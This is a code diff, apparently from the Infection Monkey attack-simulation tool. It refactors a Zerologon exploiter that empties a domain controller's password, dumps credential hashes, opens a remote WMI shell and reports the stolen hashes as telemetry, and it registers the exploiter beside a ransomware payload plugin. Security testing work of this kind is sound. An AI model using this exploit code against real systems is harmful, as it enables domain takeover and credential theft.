diff --git a/monkey/infection_monkey/exploit/tools/wmi_tools.py b/monkey/infection_monkey/exploit/tools/wmi_tools.py index 30ae59107..5b21d2d9f 100644 --- a/monkey/infection_monkey/exploit/tools/wmi_tools.py +++ b/monkey/infection_monkey/exploit/tools/wmi_tools.py @@ -1,5 +1,6 @@ import logging import threading +from functools import wraps from impacket.dcerpc.v5.dcom import wmi from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError @@ -24,11 +25,13 @@ class AccessDeniedException(Exception): class WmiTools(object): - @staticmethod def impacket_user(func): + @wraps(func) def _wrapper(*args, **kwarg): + logger.debug("Waiting for impacket lock") with lock: + logger.debug("Acquired impacket lock") return func(*args, **kwarg) return _wrapper @@ -61,9 +64,12 @@ class WmiTools(object): wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login ) except Exception as exc: - dcom.disconnect() + try: + dcom.disconnect() + except KeyError: + logger.exception("Disconnecting the DCOMConnection failed") - if "rpc_s_access_denied" == exc: + if "rpc_s_access_denied" == exc.error_string: raise AccessDeniedException(host, username, password, domain) raise @@ -91,10 +97,13 @@ class WmiTools(object): @staticmethod def dcom_wrap(func): + @wraps(func) def _wrapper(*args, **kwarg): try: + logger.debug("Running function from dcom_wrap") return func(*args, **kwarg) finally: + logger.debug("Running dcom cleanup") WmiTools.dcom_cleanup() return _wrapper diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index f05983d92..153b31bdd 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -16,11 +16,16 @@ from impacket.dcerpc.v5 import epm, nrpc, rpcrt, transport from impacket.dcerpc.v5.dtypes import NULL from common.utils.exploit_enum import ExploitType +from infection_monkey.credential_collectors import LMHash, NTHash, Username from infection_monkey.exploit.HostExploiter import HostExploiter +from infection_monkey.exploit.tools.wmi_tools import WmiTools from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets from infection_monkey.exploit.zerologon_utils.options import OptionsForSecretsdump from infection_monkey.exploit.zerologon_utils.vuln_assessment import get_dc_details, is_exploitable from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec +from infection_monkey.i_puppet import ExploiterResultData +from infection_monkey.i_puppet.credential_collection import Credentials +from infection_monkey.telemetry.credentials_telem import CredentialsTelem from infection_monkey.utils.capture_output import StdoutCapture logger = logging.getLogger(__name__) @@ -34,9 +39,8 @@ class ZerologonExploiter(HostExploiter): MAX_ATTEMPTS = 2000 # For 2000, expected average number of attempts needed: 256. ERROR_CODE_ACCESS_DENIED = 0xC0000022 - def __init__(self, host: object): - super().__init__(host) - self.exploit_info["credentials"] = {} + def __init__(self): + super().__init__() self.exploit_info["password_restored"] = None self._extracted_creds = {} self._secrets_dir = tempfile.TemporaryDirectory(prefix="zerologon") @@ -44,11 +48,13 @@ class ZerologonExploiter(HostExploiter): def __del__(self): self._secrets_dir.cleanup() - def _exploit_host(self) -> bool: + @WmiTools.impacket_user + def _exploit_host(self) -> ExploiterResultData: self.dc_ip, self.dc_name, self.dc_handle = get_dc_details(self.host) can_exploit, rpc_con = is_exploitable(self) if can_exploit: + self.exploit_result.exploitation_success = True logger.info("Target vulnerable, changing account password to empty string.") # Start exploiting attempts. @@ -62,10 +68,12 @@ class ZerologonExploiter(HostExploiter): "Exploit not attempted. Target is most likely patched, or an error was " "encountered." ) - return False + return self.exploit_result # Restore DC's original password. if _exploited: + self.exploit_result.propagation_success = False + self.exploit_result.exploitation_success = _exploited if self.restore_password(): self.exploit_info["password_restored"] = True self.store_extracted_creds_for_exploitation() @@ -76,7 +84,7 @@ class ZerologonExploiter(HostExploiter): else: logger.info("System was not exploited.") - return _exploited + return self.exploit_result @staticmethod def connect_to_dc(dc_ip) -> object: @@ -264,42 +272,19 @@ class ZerologonExploiter(HostExploiter): def store_extracted_creds_for_exploitation(self) -> None: for user in self._extracted_creds.keys(): - self.add_extracted_creds_to_exploit_info( - user, - self._extracted_creds[user]["lm_hash"], - self._extracted_creds[user]["nt_hash"], - ) - self.add_extracted_creds_to_monkey_config( + self.send_extracted_creds_as_credential_telemetry( user, self._extracted_creds[user]["lm_hash"], self._extracted_creds[user]["nt_hash"], ) - def add_extracted_creds_to_exploit_info(self, user: str, lmhash: str, nthash: str) -> None: - # TODO exploit_info["credentials"] is discontinued, - # refactor to send a credential telemetry - self.exploit_info["credentials"].update( - { - user: { - "username": user, - "password": "", - "lm_hash": lmhash, - "ntlm_hash": nthash, - } - } + def send_extracted_creds_as_credential_telemetry( + self, user: str, lmhash: str, nthash: str + ) -> None: + self.telemetry_messenger.send_telemetry( + CredentialsTelem([Credentials([Username(user)], [LMHash(lmhash), NTHash(nthash)])]) ) - # so other exploiters can use these creds - def add_extracted_creds_to_monkey_config(self, user: str, lmhash: str, nthash: str) -> None: - if user not in self._config.exploit_user_list: - self._config.exploit_user_list.append(user) - - if lmhash not in self._config.exploit_lm_hash_list: - self._config.exploit_lm_hash_list.append(lmhash) - - if nthash not in self._config.exploit_ntlm_hash_list: - self._config.exploit_ntlm_hash_list.append(nthash) - def get_original_pwd_nthash(self, username: str, user_pwd_hashes: List[str]) -> str: if not self.save_HKLM_keys_locally(username, user_pwd_hashes): return @@ -329,12 +314,7 @@ class ZerologonExploiter(HostExploiter): self.remove_locally_saved_HKLM_keys() def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: List[str]) -> bool: - logger.info( - f"Starting remote shell on victim with credentials:\n" - f"user: {username}\n" - f"hashes (SHA-512): {self._config.hash_sensitive_data(user_pwd_hashes[0])} : " - f"{self._config.hash_sensitive_data(user_pwd_hashes[1])}" - ) + logger.info(f"Starting remote shell on victim with user: {username}") wmiexec = Wmiexec( ip=self.dc_ip, diff --git a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py index c208a61f6..7fb0c5288 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py @@ -56,6 +56,7 @@ from impacket.examples.secretsdump import ( ) from impacket.smbconnection import SMBConnection +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from infection_monkey.utils.capture_output import StdoutCapture logger = logging.getLogger(__name__) @@ -96,7 +97,9 @@ class DumpSecrets: self.__lmhash, self.__nthash = options.hashes.split(":") def connect(self): - self.__smb_connection = SMBConnection(self.__remote_name, self.__remote_host) + self.__smb_connection = SMBConnection( + self.__remote_name, self.__remote_host, timeout=LONG_REQUEST_TIMEOUT + ) self.__smb_connection.login( self.__username, self.__password, diff --git a/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py index d899c73e8..4d3de85bc 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py @@ -71,6 +71,7 @@ class RemoteShell(cmd.Cmd): self.__secrets_dir = secrets_dir # We don't wanna deal with timeouts from now on. + # TODO are we sure we don't need timeout anymore? if self.__transferClient is not None: self.__transferClient.setTimeout(100000) self.do_cd("\\") diff --git a/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py b/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py index ad5f2a9d3..e9816bde0 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py @@ -51,6 +51,7 @@ from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dtypes import NULL from impacket.smbconnection import SMBConnection +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from infection_monkey.exploit.zerologon_utils.remote_shell import RemoteShell logger = logging.getLogger(__name__) @@ -74,7 +75,7 @@ class Wmiexec: self.shell = None def connect(self): - self.smbConnection = SMBConnection(self.__ip, self.__ip) + self.smbConnection = SMBConnection(self.__ip, self.__ip, timeout=LONG_REQUEST_TIMEOUT) self.smbConnection.login( user=self.__username, password=self.__password, diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 983e2dd2b..6313b2208 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -20,6 +20,7 @@ from infection_monkey.exploit.hadoop import HadoopExploiter from infection_monkey.exploit.log4shell import Log4ShellExploiter from infection_monkey.exploit.sshexec import SSHExploiter from infection_monkey.exploit.wmiexec import WmiExploiter +from infection_monkey.exploit.zerologon import ZerologonExploiter from infection_monkey.i_puppet import IPuppet, PluginType from infection_monkey.master import AutomatedMaster from infection_monkey.master.control_channel import ControlChannel @@ -221,6 +222,11 @@ class InfectionMonkey: ) puppet.load_plugin("SSHExploiter", exploit_wrapper.wrap(SSHExploiter), PluginType.EXPLOITER) puppet.load_plugin("WmiExploiter", exploit_wrapper.wrap(WmiExploiter), PluginType.EXPLOITER) + puppet.load_plugin( + "ZerologonExploiter", + exploit_wrapper.wrap(ZerologonExploiter), + PluginType.EXPLOITER, + ) puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD) diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 74fb1b091..a006d9d7f 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -128,8 +128,14 @@ class NodeService: def get_node_group(node) -> str: if "group" in node and node["group"]: return node["group"] - node_type = "exploited" if node.get("exploited") else "clean" + + if node.get("propagated"): + node_type = "propagated" + else: + node_type = "clean" + node_os = NodeService.get_node_os(node) + return NodeStates.get_by_keywords([node_type, node_os]).value @staticmethod @@ -164,10 +170,6 @@ class NodeService: "os": NodeService.get_node_os(node), } - @staticmethod - def set_node_group(node_id: str, node_group: NodeStates): - mongo.db.node.update({"_id": node_id}, {"$set": {"group": node_group.value}}, upsert=False) - @staticmethod def unset_all_monkey_tunnels(monkey_id): mongo.db.monkey.update({"_id": monkey_id}, {"$unset": {"tunnel": ""}}, upsert=False) @@ -202,6 +204,7 @@ class NodeService: "ip_addresses": [ip_address], "domain_name": domain_name, "exploited": False, + "propagated": False, "os": {"type": "unknown", "version": "unknown"}, } ) @@ -288,6 +291,10 @@ class NodeService: def set_node_exploited(node_id): mongo.db.node.update({"_id": node_id}, {"$set": {"exploited": True}}) + @staticmethod + def set_node_propagated(node_id): + mongo.db.node.update({"_id": node_id}, {"$set": {"propagated": True}}) + @staticmethod def update_dead_monkeys(): # Update dead monkeys only if no living monkey transmitted keepalive in the last 10 minutes diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py index d035dedd3..da46cdcc7 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py @@ -52,6 +52,8 @@ def update_network_with_exploit(edge: EdgeService, telemetry_json): edge.update_based_on_exploit(new_exploit) if new_exploit["exploitation_result"]: NodeService.set_node_exploited(edge.dst_node_id) + if new_exploit["propagation_result"]: + NodeService.set_node_propagated(edge.dst_node_id) def encrypt_exploit_creds(telemetry_json): diff --git a/monkey/monkey_island/cc/services/utils/node_states.py b/monkey/monkey_island/cc/services/utils/node_states.py index 0d6371111..cb8024bd2 100644 --- a/monkey/monkey_island/cc/services/utils/node_states.py +++ b/monkey/monkey_island/cc/services/utils/node_states.py @@ -9,8 +9,8 @@ class NodeStates(Enum): CLEAN_UNKNOWN = "clean_unknown" CLEAN_LINUX = "clean_linux" CLEAN_WINDOWS = "clean_windows" - EXPLOITED_LINUX = "exploited_linux" - EXPLOITED_WINDOWS = "exploited_windows" + PROPAGATED_LINUX = "propagated_linux" + PROPAGATED_WINDOWS = "propagated_windows" ISLAND = "island" ISLAND_MONKEY_LINUX = "island_monkey_linux" ISLAND_MONKEY_LINUX_RUNNING = "island_monkey_linux_running" diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/exploited_linux.png b/monkey/monkey_island/cc/ui/src/images/nodes/propagated_linux.png similarity index 100% rename from monkey/monkey_island/cc/ui/src/images/nodes/exploited_linux.png rename to monkey/monkey_island/cc/ui/src/images/nodes/propagated_linux.png diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/exploited_windows.png b/monkey/monkey_island/cc/ui/src/images/nodes/propagated_windows.png similarity index 100% rename from monkey/monkey_island/cc/ui/src/images/nodes/exploited_windows.png rename to monkey/monkey_island/cc/ui/src/images/nodes/propagated_windows.png diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_zerologon.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_zerologon.py index 95beb1778..4a6fbf53d 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_zerologon.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_zerologon.py @@ -1,7 +1,5 @@ import pytest -from infection_monkey.model.host import VictimHost - DOMAIN_NAME = "domain-name" IP = "0.0.0.0" NETBIOS_NAME = "NetBIOS Name" @@ -19,8 +17,7 @@ def zerologon_exploiter_object(monkeypatch): def mock_report_login_attempt(**kwargs): return None - host = VictimHost(IP, DOMAIN_NAME) - obj = ZerologonExploiter(host) + obj = ZerologonExploiter() monkeypatch.setattr(obj, "dc_name", NETBIOS_NAME, raising=False) monkeypatch.setattr(obj, "report_login_attempt", mock_report_login_attempt) return obj